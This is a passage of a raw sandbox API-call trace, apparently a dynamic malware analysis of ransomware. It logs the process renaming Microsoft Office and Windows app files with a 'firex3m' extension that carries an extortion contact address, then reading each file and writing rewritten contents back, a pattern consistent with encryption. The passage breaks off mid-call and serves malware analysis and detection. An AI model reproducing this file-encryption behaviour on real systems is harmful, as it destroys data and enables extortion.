lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x523ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0243.627] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Analysis Services\\AS OLEDB\\110\\Cartridges\\db2v0801.xsl" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx86\\microsoft analysis services\\as oledb\\110\\cartridges\\db2v0801.xsl"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Analysis Services\\AS OLEDB\\110\\Cartridges\\db2v0801.xsl.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx86\\microsoft analysis services\\as oledb\\110\\cartridges\\db2v0801.xsl.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0243.627] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x523ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0243.628] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Analysis Services\\AS OLEDB\\110\\Cartridges\\db2v0801.xsl.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x523fc6c | out: lpFindFileData=0x523fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x2b015b1d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2b015b1d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2b015b1d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x75ab, dwReserved0=0x640069, dwReserved1=0x31002d, cFileName="db2v0801.xsl.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="DB2V08~1.FIR")) returned 0x6d4ec0 [0243.628] FindClose (in: hFindFile=0x6d4ec0 | out: hFindFile=0x6d4ec0) returned 1 [0243.628] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Analysis Services\\AS OLEDB\\110\\Cartridges\\db2v0801.xsl.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx86\\microsoft analysis services\\as oledb\\110\\cartridges\\db2v0801.xsl.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6a8 [0243.628] GetProcessHeap () returned 0x630000 [0243.628] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x75c1) returned 0x726bcf0 [0243.628] GetProcessHeap () returned 0x630000 [0243.628] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x75c1) returned 0x73b2408 [0243.629] SetFilePointerEx (in: hFile=0x6a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0243.629] ReadFile (in: hFile=0x6a8, lpBuffer=0x726bcf0, nNumberOfBytesToRead=0x75a0, lpNumberOfBytesRead=0x523ff0c, lpOverlapped=0x0 | out: lpBuffer=0x726bcf0*, lpNumberOfBytesRead=0x523ff0c*=0x75a0, lpOverlapped=0x0) returned 1 [0247.226] GetProcessHeap () returned 0x630000 [0247.226] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7316e60 [0247.226] SetFilePointerEx (in: hFile=0x6a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0247.226] WriteFile (in: hFile=0x6a8, lpBuffer=0x73b2408*, nNumberOfBytesToWrite=0x75a0, lpNumberOfBytesWritten=0x523ff0c, lpOverlapped=0x0 | out: lpBuffer=0x73b2408*, lpNumberOfBytesWritten=0x523ff0c*=0x75a0, lpOverlapped=0x0) returned 1 [0247.227] SetFilePointerEx (in: hFile=0x6a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0247.227] WriteFile (in: hFile=0x6a8, lpBuffer=0x73b99a7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x523ff0c, lpOverlapped=0x0 | out: lpBuffer=0x73b99a7*, lpNumberOfBytesWritten=0x523ff0c*=0x20, lpOverlapped=0x0) returned 1 [0247.227] SetFilePointerEx (in: hFile=0x6a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0247.227] WriteFile (in: hFile=0x6a8, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x523ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x523ff0c*=0x4, lpOverlapped=0x0) returned 1 [0247.227] CloseHandle (hObject=0x6a8) returned 1 [0247.227] GetProcessHeap () returned 0x630000 [0247.227] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73b2408 | out: hHeap=0x630000) returned 1 [0249.235] GetProcessHeap () returned 0x630000 [0249.235] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x726bcf0 | out: hHeap=0x630000) returned 1 [0249.235] GetProcessHeap () returned 0x630000 [0249.235] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7316e60 | out: hHeap=0x630000) returned 1 [0249.235] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x523ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0249.235] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Analysis Services\\AS OLEDB\\110\\Cartridges\\db2v0801.xsl.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x523fcc4 | out: lpFindFileData=0x523fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x2b015b1d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2b015b1d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x594dc9b4, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x75cf, dwReserved0=0xa0c7496, dwReserved1=0x726bce8, cFileName="db2v0801.xsl.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="DB2V08~1.FIR")) returned 0x6d5380 [0249.235] FindClose (in: hFindFile=0x6d5380 | out: hFindFile=0x6d5380) returned 1 [0249.236] Sleep (dwMilliseconds=0x1) [0249.246] SysReAllocStringLen (in: pbstr=0x523ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\Sports_SplashScreen.scale-100.png", len=0x80 | out: pbstr=0x523ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\Sports_SplashScreen.scale-100.png") returned 1 [0249.246] GetProcessHeap () returned 0x630000 [0249.246] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4e50) returned 0x6fe3bb0 [0249.246] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\Sports_SplashScreen.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingsports_4.6.169.0_x86__8wekyb3d8bbwe\\assets\\apptiles\\sports_splashscreen.scale-100.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0249.246] Sleep (dwMilliseconds=0x1) [0249.270] SysReAllocStringLen (in: pbstr=0x523ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\WATERMAR\\WATERMAR.ELM", len=0x70 | out: pbstr=0x523ff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\WATERMAR\\WATERMAR.ELM") returned 1 [0249.270] GetProcessHeap () returned 0x630000 [0249.270] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4e04) returned 0x6fe3bb0 [0249.271] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\WATERMAR\\WATERMAR.ELM" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\watermar\\watermar.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f0 [0249.273] CloseHandle (hObject=0x4f0) returned 1 [0249.273] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x523ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0249.273] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\WATERMAR\\WATERMAR.ELM" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\watermar\\watermar.elm"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\WATERMAR\\WATERMAR.ELM.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\watermar\\watermar.elm.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0249.275] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x523ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0249.275] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\WATERMAR\\WATERMAR.ELM.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x523fc6c | out: lpFindFileData=0x523fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27c609b4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c609b4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c86bce, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xbfc6, dwReserved0=0x320031, dwReserved1=0x5b005f, cFileName="WATERMAR.ELM.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="WATERM~2.FIR")) returned 0x6d5400 [0249.275] FindClose (in: hFindFile=0x6d5400 | out: hFindFile=0x6d5400) returned 1 [0249.277] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\WATERMAR\\WATERMAR.ELM.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\watermar\\watermar.elm.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x714 [0249.277] GetProcessHeap () returned 0x630000 [0249.277] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x7264620 [0249.277] GetProcessHeap () returned 0x630000 [0249.277] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x73b2408 [0249.277] SetFilePointerEx (in: hFile=0x714, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.277] ReadFile (in: hFile=0x714, lpBuffer=0x7264620, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x523ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7264620*, lpNumberOfBytesRead=0x523ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0255.168] GetProcessHeap () returned 0x630000 [0255.169] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317db0 [0255.169] SetFilePointerEx (in: hFile=0x714, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0255.169] WriteFile (in: hFile=0x714, lpBuffer=0x73b2408*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x523ff0c, lpOverlapped=0x0 | out: lpBuffer=0x73b2408*, lpNumberOfBytesWritten=0x523ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0255.170] SetFilePointerEx (in: hFile=0x714, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0255.170] WriteFile (in: hFile=0x714, lpBuffer=0x73bd807*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x523ff0c, lpOverlapped=0x0 | out: lpBuffer=0x73bd807*, lpNumberOfBytesWritten=0x523ff0c*=0x20, lpOverlapped=0x0) returned 1 [0255.170] SetFilePointerEx (in: hFile=0x714, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0255.170] WriteFile (in: hFile=0x714, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x523ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x523ff0c*=0x4, lpOverlapped=0x0) returned 1 [0255.170] CloseHandle (hObject=0x714) returned 1 [0255.170] GetProcessHeap () returned 0x630000 [0255.170] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73b2408 | out: hHeap=0x630000) returned 1 [0255.170] GetProcessHeap () returned 0x630000 [0255.170] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7264620 | out: hHeap=0x630000) returned 1 [0255.170] GetProcessHeap () returned 0x630000 [0255.170] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317db0 | out: hHeap=0x630000) returned 1 [0255.170] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x523ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0255.170] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\WATERMAR\\WATERMAR.ELM.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x523fcc4 | out: lpFindFileData=0x523fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27c609b4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c609b4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5e0afe34, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xbfea, dwReserved0=0xa0c7496, dwReserved1=0x7264618, cFileName="WATERMAR.ELM.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="WATERM~2.FIR")) returned 0x6d51c0 [0255.170] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0255.171] Sleep (dwMilliseconds=0x1) [0256.238] SysReAllocStringLen (in: pbstr=0x523ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\INDUST\\THMBNAIL.PNG", len=0x6e | out: pbstr=0x523ff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\INDUST\\THMBNAIL.PNG") returned 1 [0256.238] GetProcessHeap () returned 0x630000 [0256.238] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4d00) returned 0x6fe3bb0 [0256.238] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\INDUST\\THMBNAIL.PNG" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\indust\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6c8 [0257.321] CloseHandle (hObject=0x6c8) returned 1 [0257.322] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x523ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0257.322] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\INDUST\\THMBNAIL.PNG" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\indust\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\INDUST\\THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\indust\\thmbnail.png.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0257.323] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x523ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0257.323] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\INDUST\\THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x523fc6c | out: lpFindFileData=0x523fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27b5591d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27b5591d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27b7bb91, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8317, dwReserved0=0x5b005f, dwReserved1=0x6f0063, cFileName="THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="THMBNA~1.FIR")) returned 0x6d5340 [0257.323] FindClose (in: hFindFile=0x6d5340 | out: hFindFile=0x6d5340) returned 1 [0257.323] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\INDUST\\THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\indust\\thmbnail.png.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6c8 [0257.323] GetProcessHeap () returned 0x630000 [0257.323] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x8321) returned 0x7224598 [0257.324] GetProcessHeap () returned 0x630000 [0257.324] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x8321) returned 0x746bd68 [0257.325] SetFilePointerEx (in: hFile=0x6c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0257.325] ReadFile (in: hFile=0x6c8, lpBuffer=0x7224598, nNumberOfBytesToRead=0x8300, lpNumberOfBytesRead=0x523ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7224598*, lpNumberOfBytesRead=0x523ff0c*=0x8300, lpOverlapped=0x0) returned 1 [0262.019] GetProcessHeap () returned 0x630000 [0262.019] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318558 [0262.019] SetFilePointerEx (in: hFile=0x6c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0262.019] WriteFile (in: hFile=0x6c8, lpBuffer=0x746bd68*, nNumberOfBytesToWrite=0x8300, lpNumberOfBytesWritten=0x523ff0c, lpOverlapped=0x0 | out: lpBuffer=0x746bd68*, lpNumberOfBytesWritten=0x523ff0c*=0x8300, lpOverlapped=0x0) returned 1 [0262.020] SetFilePointerEx (in: hFile=0x6c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0262.020] WriteFile (in: hFile=0x6c8, lpBuffer=0x7474067*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x523ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7474067*, lpNumberOfBytesWritten=0x523ff0c*=0x20, lpOverlapped=0x0) returned 1 [0262.020] SetFilePointerEx (in: hFile=0x6c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0262.020] WriteFile (in: hFile=0x6c8, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x523ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x523ff0c*=0x4, lpOverlapped=0x0) returned 1 [0262.020] CloseHandle (hObject=0x6c8) returned 1 [0262.020] GetProcessHeap () returned 0x630000 [0262.020] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x746bd68 | out: hHeap=0x630000) returned 1 [0262.020] GetProcessHeap () returned 0x630000 [0262.020] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7224598 | out: hHeap=0x630000) returned 1 [0262.021] GetProcessHeap () returned 0x630000 [0262.021] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318558 | out: hHeap=0x630000) returned 1 [0262.021] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x523ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0262.021] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\INDUST\\THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x523fcc4 | out: lpFindFileData=0x523fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27b5591d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27b5591d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x621fc353, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x833b, dwReserved0=0xa0c7496, dwReserved1=0x7224590, cFileName="THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="THMBNA~1.FIR")) returned 0x6d4f40 [0262.021] FindClose (in: hFindFile=0x6d4f40 | out: hFindFile=0x6d4f40) returned 1 [0262.021] Sleep (dwMilliseconds=0x1) [0263.438] SysReAllocStringLen (in: pbstr=0x523ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherIcons\\30x30\\190.png", len=0x7a | out: pbstr=0x523ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherIcons\\30x30\\190.png") returned 1 [0263.438] GetProcessHeap () returned 0x630000 [0263.438] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4cf4) returned 0x6fe3bb0 [0263.438] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherIcons\\30x30\\190.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\assets\\apptiles\\weathericons\\30x30\\190.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0263.440] Sleep (dwMilliseconds=0x1) [0264.590] SysReAllocStringLen (in: pbstr=0x523ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_neutral_~_8wekyb3d8bbwe\\AppxSignature.p7x", len=0x68 | out: pbstr=0x523ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_neutral_~_8wekyb3d8bbwe\\AppxSignature.p7x") returned 1 [0264.591] GetProcessHeap () returned 0x630000 [0264.591] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4c34) returned 0x6fe3bb0 [0264.591] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_neutral_~_8wekyb3d8bbwe\\AppxSignature.p7x" (normalized: "c:\\program files\\windowsapps\\microsoft.commsphone_1.10.15000.0_neutral_~_8wekyb3d8bbwe\\appxsignature.p7x"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.592] Sleep (dwMilliseconds=0x1) [0264.613] SysReAllocStringLen (in: pbstr=0x523ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\BaseWideTile.scale-200.png", len=0x73 | out: pbstr=0x523ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\BaseWideTile.scale-200.png") returned 1 [0264.613] GetProcessHeap () returned 0x630000 [0264.613] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4c7c) returned 0x6fe3bb0 [0264.613] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\BaseWideTile.scale-200.png" (normalized: "c:\\program files\\windowsapps\\microsoft.commsphone_1.10.15000.0_x64__8wekyb3d8bbwe\\assets\\basewidetile.scale-200.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.616] Sleep (dwMilliseconds=0x1) [0264.636] SysReAllocStringLen (in: pbstr=0x523ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\Assets\\Wide310x150Logo.scale-100.png", len=0x7b | out: pbstr=0x523ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\Assets\\Wide310x150Logo.scale-100.png") returned 1 [0264.637] GetProcessHeap () returned 0x630000 [0264.637] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4d60) returned 0x6fe3bb0 [0264.637] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\Assets\\Wide310x150Logo.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.connectivitystore_1.1509.1.0_x64__8wekyb3d8bbwe\\assets\\wide310x150logo.scale-100.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, 